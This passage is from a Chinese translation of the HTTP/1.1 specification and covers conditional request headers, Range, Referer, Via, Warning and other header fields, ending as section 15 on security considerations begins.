如果没有一个实体标签匹配,或者给出了“*”但服务器上没有当前的实体,那么服务器不能执行此请求的方法,并且返回412响应(先决条件失败)。这种行为是很有用的,特别是在当客户端希望防止一更新方法(updating method)(例如PUT方法)去修改此客户端上次获取但现已改变的资源时, 

如果请求假设在没有If-Match头域的情况下导致了除2XX或412以外的其他状态码响应,那么If-Match头域必须被接收端忽略。

“If-Match: *” 的含义是:此方法将被执行,如果源服务器(或缓存,很可能使用Vary机制,见14.44节)选择的表现形式(representation)存在的话,但是如果此表现形式不存在,那么此方法不能被执行。

如果一个请求想要更新一个资源(例如PUT)那么它可以包含一个If-Match头域来指明:当相应于If-Match值(一个实体标签)的实体不再是那个资源的表现形式时,此请求方法不能被采用。这允许用户表明:如果那个资源已经改变了而他们不知道的话,他们不希望请求成功。

例如:

If-Match: "xyzzy" 

If-Match: "xyzzy", "r2d2xxxx", "c3piozzzz" 

If-Match: * 

既有If-Match头域又有If-None-Match或If-Modified-Since头域的请求的结果在本规范没有定义。
14.25 If-Modified-Since

If-Modified-Since请求头域被用来让方法成为条件方法:如果请求变量(variant)自从此头域里指定的时间之后没有改变,那么服务器不应该返回实体;而是应该以304(没有改变)状态码进行响应,同时返回的消息不需要消息主体(message-body)。

If-Modified-Since = "If-Modified-Since" ":" HTTP-date 

一个例子是:

If-Modified-Since: Sat, 29 Oct 1994 19:43:31 GMT 

如果一个GET请求方法含有If-Modified-Since头域但无Range头域,那么此方法请求的实体只有请求里If-Modified-Since头域中指定日期之后被改变才能被服务器返回。决定这个算法包括下列情况:

a)如果请求假设会导致除状态200之外的任何其它状态码,或者如果If-Modified-Since日期是无效的,那么响应就和正常的GET请求的响应完全一样。比服务器当前时间晚的日期是无效的。

b)如果自从一个有效的If-Modified-Since日期以来,变量已经被修改了,那么服务器应该返回一个响应同正常GET请求一样。

c)如果自从一个有效的If-Modified-Since日期以来,变量没有被修改,那么服务器应该返回一个304(没有改变)响应。

这种特征的目的是以一个最小的事务开销来更新缓存信息。

注意:Range请求头域改变了If-Modified-Since的含义;详细信息见14.35。

注意:If-Modified-Since的时间是由服务器解析的,它的时钟可能和客户端的不同步。

注意:当处理一个If-Modified-Since头域的时候,一些服务器使用精确的日期比较方法,而不是小于(less-than)比较方法,来决定是否发送304(没有改变)响应。当为缓存验证而发送一个If-Modified-Since头域的时候,为了得到最好的结果,客户端被建议尽可能地去利用以前Last-Modified头域里被接收的日期字符串。 

注意:如果客户端,对同一请求,在If-Modified-Since头域中使用任意日期代替Last-Modified头域里得到的日期,那么客户端应该知道这个日期应该能被服务器理解。由于客户端和服务器之间时间编码的不同,客户端应该考虑时钟不同步和舍入的问题。如果在客户端第一次请求时与后来请求里头域If-Modified-Since指定的日期之间,文档发生改变,这就可能会出现竞争条件,还有,如果If-Modified-Since从客户端得到的日期没有得到服务器时钟的矫正,就有可能出现时钟偏差等问题的。客户端和服务器时间的偏差最有可能是由于网络的延迟造成的。

既有If-Modified-Since头域又有If-Match或If-Unmodified-Since头域的请求的结果在本规范没有定义。
14.26 If-None-Match

If-None-Match头域被用于一个方法使之成为条件的。一个客户端如果拥有一个或多个从某资源获得的实体,那么它能验证在这些实体中有不存在于服务器当前实体中的实体,这通过在If-None-Match头域里包含这些实体相关的实体标签(entity tag)来达到此目的。这个特性允许通过一个最小事务开销来更新缓存信息。它同样被用于防止一个更新方法(如,PUT)不经意的改变一个客户端认为不存在但事实却存在的资源。

作为特殊情况,头域值“*”匹配资源的任何当前实体。

If-None-Match = "If-None-Match" ":" ( "*" | 1#entity-tag )

如果If-None-Match头域里的任何实体标签(entity tag)假设与一个相似的GET请求(假设没有If-None-Match头域)返回实体的实体标签相匹配,或者,如果“*”被给出并且服务器关于那个资源的任何当前实体存在,那么服务器不能执行此请求方法,除非资源的修改日期和请求里If-Modified-Since头域(假设有的话)里提供的日期匹配失败(译注:匹配失败说明资源改变了)。换言之,如果请求方法是GET或HEAD,那么服务器应以304(没有改变)来响应,并且包含匹配实体的相关缓存头域(特别是Etag) 。对于所有其它方法,服务器必须以412(先决条件失败)状态码响应。

13.3节说明了如何判断两实体标签是否匹配。弱比较方法只能用于GET或HEAD请求。

如果If-None-Match头域里没有实体标签匹配,那么服务器可以执行此请求方法就像If-None-Match头域不存在一样,但是必须忽略请求里的任何If-Modified-Since头域。也就是说,如果没有实体标签匹配 ,那么服务器不能返回304(没有改变)响应。

如果假设在没有If-None-Match头域存在的情况下,请求会导致除2xx及304状态码之外响应,那么If-None-Match头域必须被忽略。(见13.3.4节关于假如同时存在If-Modified-Since和If-None-Match头域时服务器的行为的讨论)

“If-None-Match: *”的意思是:如果被源服务器(或被缓存,可能利用Vary机制,见14.44节)选择的表现形式(representation)存在的话,请求方法不能被执行,然而,如果表现形式不存在的话,请求方法是能被执行的。这个特性可以防止在多个PUT操作中的竞争。

例: 

If-None-Match: "xyzzy" 

If-None-Match: W/"xyzzy" 

If-None-Match: "xyzzy", "r2d2xxxx", "c3piozzzz" 

If-None-Match: W/"xyzzy", W/"r2d2xxxx", W/"c3piozzzz" 

If-None-Match: * 

如果一个请求含有If-None-Match头域,还含有一个If-Match或If-Unmodified-Since头域的话,此请求的指向结果在此规范里没有定义。
14.27 If-Range

如果客户端在其缓存中有一实体的部分副本,并希望其整个缓存项是及时更新的,那么客户端可以在一条件GET(conditional GET)(利用了If-Unmodified-Since和If-Match头域两者或其中之一)请求里利用Range请求头域。然而,如果由于实体被改变而使条件失败,那么客户端可能会发出第二次请求从而去获得整个当前实体主体(entity-body)。

If-Range头域允许客户端使第二次请求短路(short-circuit)。说的通俗一点,这意味着:如果实体没有改变,发送我想要的部分;如果实体改变了,那就把整个新实体发过来。

If-Range = “if-Range” “:”( entity-tag | HTTP-date)

若客户端没有一实体标签(entity tag),但有一个最后修改日期(Last-Modified date),它可以在If-Range头域里利用此日期。(服务器通过检查一两个字符即可区分合法HTTP-date与任意形式的entity-tag。)If-Range头域只应该与一Range头域一起使用,并且必须被忽略如果请求不包含一个Range头域或者如果服务器不支持子范围(sub-range)操作。

如果If-Range头域里给定的实体标签匹配服务器上当前实体的实体标签(entity tag),那么服务器应该提供此实体的指定范围,并利用206(部分内容)响应。如果实体标签(entity tag)不匹配,那么服务器应该返回整个实体,并利用200(ok)响应。
14.28 If-Unmodified-Since

If-Unmodified-Since请求头域被用于一个方法使之成为条件方法。如果请求资源自从此头域指定时间开始之后没有改变,那么服务器应该执行此请求就像If-Unmodified-Since头域不存在一样。

如果请求变量(variant,译注:见术语)在此头域指定时间后以后已经改变,那么服务器不能执行此请求,并且必须返回412(前提条件失败)状态码。

If-Unmodified-Since = "If-Unmodified-Since" ":" HTTP-日期

此域的应用实例: 

If-Unmodified-Since: Sat, 29 Oct 1994 19:43:31 GMT

如果请求正常情况下(即假设在没有If-Unmodified-Since头域的情况下)导致任何非2xx或412状态码,那么If-Unmodified-Since头域将会忽略。

如果此头域中指定的日期无效,那么此头域会被忽略。

在请求里有If-Unmodified-Since头域并且有If-None-Match或者If-Modified-Since头域中的一个,这种请求的处理结果在此规范中没有被定义。
14.29 Last-Modified

Last-Modified实体头域(entity-header)指定了变量(variant)被源服务器所确信的最后修改的日期和时间。

Last-Modified = “Last-Modified” “:” HTTP-date

应用示例如下:

Last-Modified : Tue, 15 Nov 1994 12:45:26 GMT

此头域的确切含义取决于源服务器的实现和源资源(original resource)的性质。 对文件而言,它可能仅仅指示文件上次修改的时间。对于包含动态部分的实体而言,它可能是组成其各个部分中最后修改时间最近的那个部分。对数据库网关而言,它可能是记录的最新修改时间戳。对虚拟对象来说,它可能是最后内部状态改变的时间。

源服务器不能发送一个迟于消息产生时间的Last-Modified日期。假如资源最后修改日期可能指示将来的某个时间,那么服务器应该用消息产生的时间替换那个日期。

源服务器获得实体Last-Modified值应尽量靠近服务器产生响应的Date值。这允许接收者对实体修改时间作出准确的估计,特别是如果实体的改变时间接近响应产生的时间。

HTTP/1.1服务器应该尽可能地发送Last-Modified头域。
14.30 Location

Location响应头域被用于为了完成请求或识别一个新资源,使接收者能重定向于Location指明的URI而不是请求URI。对于201(Created)响应而言,Location是请求建立新资源的位置。对于3xx响应而言,Location应被指定服务器为自动重定向资源所喜爱的URI。Location头域值由一个绝对URI组成。

Location = “Location” “:” absoluteURI

一个例子如下:

Location : http://www.w3.org/pub/WWW/People.html

注: Content-Location头域(14.14节)不同于Location头域,Content-Location头域指定了请求里封装实体的源位置。有可能一个响应即包含location也包含Content-Location头域。在13.10节里有关于一些方法的要求。
14.31 Max-Forwards

Max-Forwards请求头域为TRACE(9.8节)和OPTIONS(9.2节)提供一种机制去限制转发请求的代理或网关的数量。当客户端尝试去跟踪一个好像陷入失败或陷入循环的请求链时,这是非常有帮助的。

Max-Forwards = “Max – Forwards” “:” 1*DIGIT

Max-Forwards值是十进制的整数,它指定了请求消息可以剩余转发的次数。

对于一个TRACE或OPTIONS请求,如果包含一个Max-Forwards头域,那么接收此请求的代理或网关必须能在转发(forwarding)此请求之前检查和更新Max-Forwards头域值。如果接收的值为0,那么接收者不能转发此请求;而是,它必须作为最后的接收者响应。如果接收的Max-Forwards值比0大,那么此转发的消息必须包含一个更新了的Max-Forwards头域,更新的值是在接收时的值上减去1。

对本规范定义的所有其它方法以及任何没有明确作为方法定义部分的扩展方法的请求里,Max-Forwards头域可能会被忽略。
14.32 Pragma 

Pragma常用头域被用于包含特定执行指令,这些指令可能被应用于请求/响应链中任何接收者。从协议的观点来看,pragma指令指定的行为是可选的;然而,一些系统可能要求行为必须满足指令的要求。

Pragma = “Pragma” “:” 1#pragma-directive

pragma-directive =”no-cache” | extension-pragma

extension-pragma =token [ “=” ( token | quoted-string) ]

当no-cache指令出现在请求消息中,应用程序应该转发(forward)此请求到源服务器,即使它拥有此请求响应的缓存副本。pragma指令和no-cache缓存控制指令(见14.9)有相同的语义,并且它是为同HTTP/1.0向后兼容而被定义。当一个no-cache请求发送给一个不遵循HTTP/1.1的服务器时,客户端应该既包含pragma指令也包含no-cache缓存控制指令。

pragma指令必须能穿过代理和网关应用程序,不管对于那些应用程序有没有意义。因为这些指令可能对请求/响应链上的所有接受者有用。不可能为一个特定的接收者定义一个pragma;然而,任何对接收者不相关的pragma指令都应该被接收者忽略。

HTTP/1.1缓存应该把“Pragma:no-cache”当作好像客户端发送了“cache-control:no-cache”。在HTTP中不会有新的pragma指令会被定义。
14.33 Proxy-Authenticate

Proxy-Authenticate响应头域必须被包含在407响应(代理授权)里。此头域值由一个challenge和parameters组成,challenge指明了授权模式,而parameters应用于请求URI的代理。

Proxy-Authenticate = "Proxy-Authenticate" ":" 1#challenge 

关于HTTP访问授权过程的描述在“HTTP Authentication:Basic and Digest Access Authentication”[43]中介绍了。不像WWW-Authenticate头域,Proxy-Authenticate头域只能应用于当前连接,并且不应该传递给下游(downstrem)客户端。然而,一个中间代理可能需要从请求下游客户端而获得它自己的证书(credentials),这在一些情况下就好像代理正在转发Proxy-Authenticate头域一样。
14.34 Proxy-Authorization

Proxy-Authorization请求头域允许客户端让一代理能给客户端自己(或客户端的用户)授权。Proxy-Authorization头域值由包含用户代理(为代理和/或请求资源域)的授权信息的证书组成。

Proxy-Authorization = “Proxy-Authorization” “:” credentials

HTTP访问授权过程在“HTTP Authentication: Basic and Digest Access Authentication”[43]中描述。不像Authorization头域,Proxy-Authorization头域只能应用于下一个期望利用Proxy-Authenticate头域授权的外向(outbound)代理。。
14.35 Range
14.35.1字节范围 (Byte Ranges)

既然所有的HTTP实体都以字节序列形式的HTTP消息表示,那么字节范围的概念对任何HTTP实体都是有意义的.(不过并不是所有的客户和服务器都需要支持字节范围操作.。)

HTTP里的字节范围应用于实体主体的字节序列(不必和消息主体一样)。

字节范围操作可能会在一个实体里指定一个字节范围或多个字节范围。

ranges-specifier = byte-ranges-specifier 

byte-ranges-specifier = bytes-unit "=" byte-range-set 

byte-range-set = 1#( byte-range-spec | suffix-byte-range-spec )

byte-range-spec = first-byte-pos "-" [last-byte-pos] 

first-byte-pos = 1*DIGIT 

last-byte-pos = 1*DIGIT 

byte-range-spec里的first-byte-pos值给出了一个范围里第一个字节的偏移量.。last-byte-pos值给出了这个范围里最后一个字节的偏移量;也就是说,确定的字节位置必须在实体的范围之内。字节偏移是以0为基准(译注:0代表第一个字节,1代表第二个字节)。

如果存在last-byte-pos值,那么它一定大于或等于那个byte-range-spec里的first-byte-pos,否则byte-range-spec在句法上是非法的。接收者接收到包括一个或多个无效的byte-range-spec值的byte-range-set时,它必须忽略包含那个byte-range-set的头域.。

如果last-byte-pos值不存在,或者大于或等于实体主体的当前长度,则认为last-byte-pos等于当前实体主体长度减一。

通过选择last-byte-pos,客户能够限制获得实体的字节数量而不需要知道实体的大小。 

suffix-byte-range-spec = “-“ suffix-length

suffix-length = 1*DIGIT

suffix-byte-range-spec用来表示实体主体的后缀,其长度由suffix-length值给出.。(也就是说,这种形式规定了实体正文的最后N个字节。)如果实体短于指定的suffix-length,则使用整个实体主体。

如果一个句法正确的byte-range-set至少包括一个这样的byte-range-spec,它的first-byte-pos比实体主体的当前长度要小,或至少包括一个suffix-length非零的 suffix-byte-range-spec,那么byte-range-set是可以满足的,否则是不可满足的。如果byte-range-set不能满足,那么服务器应该返回一个416响应(请求范围不能满足)。否则,服务器应该返回一个206响应(部分内容)

byte-ranges-specifier(字节-范围-说明符)值的例子(假定实体主体的长度为10000): 

-- 第一个500字节(字节偏移量0-499,包括0和499): bytes=0-499 

-- 第二个500字节(字节偏移量500-999,包括500和999): bytes=500-999 

-- 最后500字节(字节偏移量9500-9999,包括9500和9999): bytes=-500 或 bytes=9500- 

-- 仅仅第一个和最后一个字节(字节0和9999): bytes=0-0,-1 

-- 关于第二个500字节(字节偏移量500-999,包括500和999)的几种合法但不规范的叙述: 

bytes=500-600,601-999 

bytes=500-700,601-999 
14.35.2范围请求(Range Retrieval Requests)

使用条件或无条件GET方法可以请求实体的一个或多个字节范围,而不是整个实体,这利用Range请求头域,请求返回的结果就是Range头域指示的请求资源实体的范围。

Range = "Range" ":" ranges-specifier 

服务器可以忽略Range头域。然而,.HTTP/1.1源服务器和中间缓存应该尽可能支持字节范围,因为Range支持从部分失败传输中有效地恢复,并且支持从大的实体中有效地获取部分内容。

如果服务器支持Range头域,并且指定的范围或多个范围对实体来说是适合的:

1. 如果在无条件GET请求里出现Range头域,那么这将会改变没有Range头域时的GET请求返回的结果。换句话说,返回的状态码不是200(ok)而是206(部分响应)。

2. 如果在条件GET(请求里利用了If-Modified-Since和If-None-Match中任意一个或两者,或者利用了If-Unmodified-Since和If-Match中的任意一个或两者)请求里出现Range头域,那么这将改变返回的结果,如果GET请求假设在没有Range头域时被服务器成功响应并且条件为真。但如果条件为假,它不会影响304(没有改变)响应被返回。

某些情形下,除了使用Range头域外,可能还要同时使用If-Range头域(见14.27节)。

如果支持范围请求的代理接收了一个范围请求,并转发(forward)请求到内向(inbound)服务器,并且接收到了一个完整实体,那么它只应该返回给客户请求的范围。代理将接收的整个响应存储到它的缓存里如果此响应满足缓存分配策略。
14.36 Referer

Referer请求头域允许客户端,为了让服务器受益,指定请求URI来源的资源URI。(Referer头域的Referer本应该写成Referrer,出现了笔误)。Referer请求头域允许服务器为了个人兴趣,记录日志,优化缓存等来产生回退链接列表。它照样允许服务器为维护而跟踪过时或写错的链接。Referer头域不能被发送如果请求URI从一个没有自身URI的资源获得,例如用户从键盘输入。

Referer = "Referer" ":" ( absoluteURI | relativeURI )

例如: 

Referer: http://www.w3.org/hypertext/DataSources/Overview.html 

如果Referer头域的域值是相对URI,那么它将被解析为相对于请求URI。URI不能包含一个片段(fragment)。见15.1.3关于安全的考虑。
14.37 Retry-After

Retry-After响应头域能被用于一个503(服务不可得)响应,服务器用它来向请求端指明服务不可得的时长。此头域可能被用于3xx(重定向)响应,服务器用它来(如web浏览器)指明用户代理再次提交已重定向请求之前的最小等待时间。Retry-After头域值可能是HTTP-date或者也可能是一个响应时间后的十进制整数秒。

Retry-After = “Retry-After” “:” ( HTTP-date | delta-seconds )

下面是它的两个例子

Retry-After: Fri,31 Dec 1999 23:59:59 GMT

Retry-After:120

在后一例子中,延迟时间是2分钟。
14.38 Server

Server响应头域包含了源服务器用于处理请求的软件信息。 此域可包含多个产品标记(3.8节),以及鉴别服务器与其他重要子产品的注释。产品标记按它们的重要性来排列,并鉴别应用程序。

Server = “Server” 

例:

服务器:CERN/3.0 libwww/2.17 

若响应是通过代理转发的,则代理程序不得修改Server响应头域。作为替代,它应该包含一个Via头域(在14.45节里描述)。

注:揭示特定的软件版本可能会使服务器易于受到那些针对已知安全漏洞的软件的攻击。 建议服务器实现者将此域作为可设置项。
14.39 TE

TE请求头域指明客户端可以接受哪些传输编码(transfer-coding)的响应,和是否愿意接受块(chunked)传输编码响应的尾部(trailer)(译注:TE头域和Accept-Encoding头域与Content-Encoding头域很相似,但TE应用于传输编码(transfer coding),而Content-Encoding应用于内容编码(content coding,见3.5节))。 TE请求头域的值可能由包含关键字“trailers” 和/或用逗号分隔的扩展传输编码名(扩展传输编码名可能会携带可选的接受参数的列表)(在3.6节描述)组成。

TE = "TE" ":" #( t-codings )

t-codings = "trailers" | ( transfer-extension [ accept-params ] )

如果出现关键字“trailers”,那么它指明客户端愿意接受(chunked)传输编码响应的尾部(trailer)。 此关键字为传输编码(transfer-coding)值而保留,但它本身不代表一种传输编码。

举例:

TE: deflate 

TE: 

TE: trailers, deflate;q=0.5 

TE请求头域仅适用于立即连接。所以无论何时,只要在HTTP/1.1消息中存在TE头域,连接头域(Connection header filed)(参见14.10节)中就必须指明。

通过TE头域,服务器能利用下述规则来测试传输编码(transfer-coding)是否是可被客户端接受的:

1.块(chunked)传输编码总是可以接受的。如果在TE头域里出现关键字“trailers”,那么客户端指明它愿意代表自己或任意下游(downstream)客户端去接受块(chunked)传输编码响应里的尾部(trailer)。这意味着,如果“trailers”给定,客户端正在声明所有下游(downstream)客户端愿意接收块(chunked)传输编码响应里的尾部(trailer),或声明它愿意代表下游接收端去尝试缓存响应。

注意:HTTP/1.1并没有定义任何方法去限制块传输编码响应的大小,这是为了方便客户端能缓存整个响应。

2.只要是出现在TE头域里的传输编码都是可被请求端接受的,除非此传输编码跟随的qvalue值为0(根据3.9节中定义,qvalue为0表明是“不可接受的”(not acceptable)))

3.如果在TE头域里有指明多个传输编码是可接受的,那么传输编码(transfer-coding)的qvalue值最大的是最容易被被接受的。块传输编码的qvalue值为1。

如果TE头域值是空的或者TE头域没有出现在消息里,那么服务器只能认为块(chunked)传输编码的响应是请求端可以接受的。没有传输编码的消息总是可接受的。
14.40 Trailer

Trailer常用头域值指明了以块(chunked)传输编码的消息里尾部(trailer)用到的头域。

Trailer = "Trailer" ":" 1#field-name 

一个HTTP/1.1消息会包含一个Trailer头域,如果消息利用了块(chunked)传输编码并且编码里的尾部(trailer)不为空。这样做是为了使接收端知道块(chunked)传输编码响应消息尾部(trailer)有哪些头域。

如果具有块传输编码的消息,但没有Trailer头域存在,则此消息的尾部(trailer)将不能包括任何头域。3.6.1节展示了块传输编码的尾部(trailer)的利用限制。

Trailer头域中指示的消息头域不能包括下面的头域:

.Transfer-Encoding

.Content-Length

.Trailer 


14.41 Transfer-Encoding

传输译码(Transfer-Encoding)常用头域指示了消息主体(message body)的编码转换,这是为了实现在接收端和发送端之间的安全数据传输。它不同于内容编码(content-coding),传输代码是消息的属性,而不是实体(entity)的属性。

Transfer-Encoding = "Transfer-Encoding" ":" 1#transfer-coding 

传输编码(transfer-coding)在3.6节中被定义了。一个例子是:

Transfer-Encoding: chunked 

如果一个实体应用了多种传输编码,传输编码(transfer-coding)必须以应用的顺序列出。传输编码(transfer-coding)可能会提供编码参数(译注:看传输编码的定义,3.6节),这些编码参数额外的信息可能会被其它实体头域(entity-header)提供,但这并没有在规范里定义。



许多老的HTTP/1.1应用程序不能理解传输译码(Transfer-Encoding)头域。
14.42 Upgrade

Upgrade常用头域允许客户端指定它所支持的附加通信协议,并且可能会使用如果服务器觉得可以进行协议切换。服务器必须利用Upgrade头域于一个101(切换协议)响应里,用来指明哪个协议被切换了。

Upgrade = “Upgrade” “:” 1#product

例如,

Upgrade: HTTP/2.0,SHTTP/1.3, IRC/6.9, RTA/x11

Upgrade头域的目的是为了提供一个从HTTP/1.1到其它不兼容协议的简单迁移机制。这通过允许客户端告诉服务器客户端期望利用另一种协议,例如主版本号更高的最新HTTP协议,即使当前请求仍然使用HTTP/1.1。这能降低不兼容协议之间迁移的难度,只需要客户端以一个更普遍被支持协议发起一个请求,同时告诉服务器客户端想利用“更好的”协议如果可以的话(“更好的”由服务器决定,可能根据方法和/或请求资源的性质决定)。

Upgrade头域只能应用于应用程序层(application –layer)协议之间的切换,应用程序层协议在传输层(transport-layer)连接之上。Upgrade头域并不意味着协议一定要改变;并且服务器接受和使用是可选的。在协议改变后应用程序层(apllication-layer)的通信能力和性质,完全依赖于新协议的选择,尽管在改变协议后的第一个动作必须是对初始HTTP请求(包含Upgrade头域)的响应。

Upgrade头域只能应用于立即连接(immediate connection)。因此,upgrade关键字必须被提供在Connection头域里(见14.10节),只要Upgrade头域呈现在HTTP/1.1消息里。

Upgrade头域不能被用来指定切换到一个不同连接的协议。为这个目的,使用301,302,303重定向响应更合适。

这个规范定义了本协议的名字为“HTTP”,它在3.1节的HTTP版本规则中定义的超文本传输协议家族中被使用。任何一个标记都可被用来做协议名字,然而,只有当客户端和服务器认为这个名字对应同一协议才有用。
14.43 User-Agent

User-Agent请求头域包含关于发起请求的用户代理的信息。这是为了统计,跟踪协议违反的情况,和为了识别用户代理从而为特定用户代理自动定制响应。用户代理应该包含User-Agent头域在请求中。此头域包含多个识别代理和子产品的产品标记(见3.8节)和解释。通常,为了识别应用程序,产品标记按重要性排列。

User-Agent = "User-Agent" ":" 1*( product | comment )

例子: 

User-Agent: CERN-LineMode/2.15 libwww/2.17b3 
14.44 Vary

Vary响应头域值指定了一些请求头域,全部去决定某缓存是否被允许去利用此响应(并且此响应仍然保鲜)去回复后续请求而不需要重验证(revalidation)。对于不可缓存或已陈旧的响应,Vary头域值用于告诉用户代理(user agent)选择表现形式(reprentation)的标准。一个Vary头域值是“*”意味着缓存不能根据后续请求的请求头域来决定此响应是合适的表现形式。见13.6节关于缓存如何利用Vary头域。

Vary = "Vary" ":" ( "*" | 1#field-name )

一个HTTP/1.1的服务器应该包含一个Vary头域于任何可缓存的受限于服务器驱动协商的响应里。这样做是允许缓存恰当去理解关于那个资源的将来请求,并通知用户代理关于那个资源的协商出现。一个服务器可能包含一个Vary头域于一个不可缓存的受限于服务器驱动协商的响应里,因为这样做可能为用户代理提供有用的关于响应变化的维度的信息。

一个Vary头域值由域名(filed-name)组成,响应的表现形式是基于Vary头域里列举的请求头域来选择的。一个缓存可能会假设为将来请求进行相同的选择,如果Vary头域例举了相同的域名,但必须是此响应在此期间是保鲜的。

Vary头域里的域名并不是局限于本规范里定义的标准请求头域。域名是大小写不敏感的。

Vary域值为“*”指明不受限于请求头域的非特指参数(例如,客户端的网络地址)作用于响应表现形式中进行选择 。“*”值不能被代理产生;它可能只能被源服务器产生。
14.45 Via

Via常用头域必须被网关(gateways)和代理(proxies)使用,用来指明在用户代理和服务器之间关于请求的中间协议和接收者,和在源服务器和客户端之间关于响应的中间协议和接收者。它和RFC822[9]里的“Received”头域相似,并且它用于跟踪消息的转发,避免请求循环,和指定沿着请求/响应链的所有发送者的协议能力。

Via = "Via" ":" 1#( received-protocol received-by [ comment ] )

received-protocol = [ protocol-name "/" ] protocol-version 

protocol-name = token 

protocol-version = token 

received-by = ( host [ ":" port ] ) | pseudonym 

pseudonym = token 

received-protocol指出沿着请求/响应链每一段的服务器或客户端所接收消息的协议版本。protocol-version被追加于Via头域值后面,当消息被转发时。

只要协议是HTTP,那么protocol-name是可有可无的。received-by头域通常是接收的转发服务器的host(主机)和可选的port(端口)号,或接收的转发客户端的host(主机)和可选的port(端口)号。然而,如果真实host(主机)被看作是信息敏感的,那么此主机可能会被别名代替。如果port(端口号)没有被给定,那么它可能被假设为received-protocol的缺省port(端口)号。

Via头域里如果有多个域值,则每个值分别代表一个已经转发消息的代理或网关。每一个接收者必须把它的信息追加到最后,所以最后的结果是按照转发应用程序的顺序来的。

comment(注释)可能被用于Via头域是为了指定接收者代理或网关的软件,这个好比User-Agent和Server头域。然而,Via头域里所有的comment是可选的(译注:可有可无的),并且可以被接收者在转发消息之前移去。

例如,有一个请求消息来自于一个HTTP/1.0用户代理,被发送到代号为“fred”的内部代理,此内部代理利用HTTP/1.1协议转发此请求给一个站点为nowhere.com的公共代理,而此公共代理为了完成此请求通过把它转发到站点为“www.ics.uci,edu”的源服务器。被“www.ics.uci.edu”站点接收后的请求这时可能有下面的Via头域:

Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1)

被用作通向网络防火墙的入口的代理和网关在缺省情况下不应该转发host(主机)的名字和端口到防火墙区域里。如果这些信息显示地指定要被传送,那么就应该被传送。如果此信息显示地指定不能被传送,那么任何穿过防火墙而被接收的host(主机)应该用一个合适的别名替换。

为了隐藏组织结构的内部结构需要,一个代理(proxy)可能会在一个Via头域中把相同received-protocal值的项合成一个项。例如,

Via: 1.0 ricky, 1.1 ethel, 1.1 fred, 1.0 lucy

将被折叠成

Via: 1.0 ricky, 1.1 mertz, 1.0 lucy

应用程序不应该合并多个项,除非他们都在相同组织的控制下并且host(主机)已经被别名代替了。应用程序不能合并不同received-protocaol值的项。
14.46 Warning

Warning常用头域被用于携带额外关于消息状态或消息转换的信息,而这些信息是不能在消息里反应出来的。这些信息通常被用于去警告由于缓存操作或消息主体转换带来的透明性(semantic transparency)的缺失。

Warning头域被用于响应里,这里有如下语法:

Warning = "Warning" ":" 1#warning-value 

warning-value = warn-code SP warn-agent SP warn-text 

[SP warn-date] 

warn-code = 3DIGIT 

warn-agent = ( host [ ":" port ] ) | pseudonym 

; the name or pseudonym of the server adding 

; the Warning header, for use in debugging 

warn-text = quoted-string 

warn-date = <"> HTTP-date <"> 

一个响应可能携带多个Warning头域。

warn-text必须使用对于接收响应的用户来说尽可能理解的自然语言和字符集。找到用户自能理解的自然语言和字符集,必须基于任何可能的知识,如缓存或用户的位置,请求里的Accept-Language头域,响应里的Content-Language头域,等等。缺省语言是英语,缺省字符集是ISO-8859-1。

如果字符集不是ISO-8859-1,那么它必须利用RFC2047里描述的来在warn-text里进行编码。

Warning头域能被应用于任何消息,然而,一些warn-codes是特定于缓存的,并且只能被应用于响应消息。新的Warning头域应添加到任何已存Warning头域的后面。缓存不能删除任何它接收到的消息里的Warning头域。然而,如果一缓存成功验证一缓存项,那么它应移除任何以前依附于那个缓存项的Warning头域除了特定警告码(Warning codes)的Warning头域。然后,它必须添加这个验证响应里的任何Warning头域。换句话说,Warning头域是依附于最近相关响应的Warning头域。

当多个Warning头域被附加于一个响应里,那么用户代理应该通知用户尽可能多的警告,并且以它们呈现在响应里的顺序。如果用户代理不能通知用户所有的警告,那么用户代理应该按照下面的规则:

- 前面的响应里的警告优于后面响应的警告

- 用户偏爱的字符集的警告优于其它字符集的警告,但这除了warn-codes和warn-agents一致的情况。

产生多个Warning头域的系统应该时刻记住利用用户代理行为来安排警告。

关于警告的缓存行为的要求在13.1.2里描述。

下面是当前定义的warn-codes,每一个warn-code都有一个建议性的以英语表示的warn-text,和它的意思的描述。

110 Response is stale

无论何时当返回响应是陈旧的时候,必须被包含。

111 Revalidation failed

如果一个缓存因为尝试去重验证响应失败而返回一个陈旧的响应(由于不能到达服务器),必须被包含。

112 Disconnected operation

如果缓存在一段时间被有意地断开连接,应该被包含。

113 Heuristic expiration

如果缓存探索性地选择了一个保鲜寿命大于24小时并且响应的年龄大于24小时时,必须被包含。

199 Miscellaneous warning

警告文本可能包含任意信息呈现给用户。除了呈现给用户警告,接收警告的系统不能采取任何自动行为。

214 Transformation applied

如果一个中间缓存或代理采用任何对响应的内容编码(content-coding)(在Content-Encoding头域里指定)或媒体类型(media-type)(在Content-Type头域里指定)的改变变,或响应的实体主体(entity-body)的改变,那么此响应码必须被中间缓存或代理添加,除非此警告码(warning code)已经在响应里出现。

299 Miscellaneous persistent warning

警告文本应该包含任意呈现给用户的任意信息。接收警告的系统不能采取任何自动行为。

如果一个实现在一个消息里发送多个版本是HTTP/1.0或更早的HTTP协议版本的Warning头域,那么发送者必须包含一个和响应日期(date)相等的warn-date到每一个Warning头域值中。

如果一个实现收到一条warning-value里包含一个warn-date的消息,并且那个warn-date不同于响应里的Date值,那么warning-value必须在保存,转发,或利用消息之前从消息里删除。(这回防止本地缓存去缓存Warning头域的恶果。)如果所有warning-value因为这个原因而被删除,Warning头域必须也要被删除。
14.47 WWW-Authenticate

WWW-Authenticate响应头域必须包含在401(没有被授权)响应消息中。此域值至少应该包含一个callenge,此callenge指明授权模式(schemes)和适用于请求URI的参数。

WWW-Authenticate =“WWW-Authenticate” “:” 1#challenge 

HTTP访问授权过程在“HTTP Authentication: Basic and Digest Access Authentication”[43]里描述。用户代理被建议特别小心去解析WWW-Authenticate头域值,当此头域值包含多个challenge,或如果多个WWW-Authenticate头域被提供且challenge的内容能包含逗号分隔的授权参数的时候。
15.安全考虑 (Security Consideration)

这一部分是用来提醒程序开发人员,信息提供者,和用户关于HTTP/1.1安全方面的限制。讨论并不包含对被披露问题的明确的解决办法,然而,它却对减少安全风险提供了一些建议。
15.1 个人信息 (Personal Information)

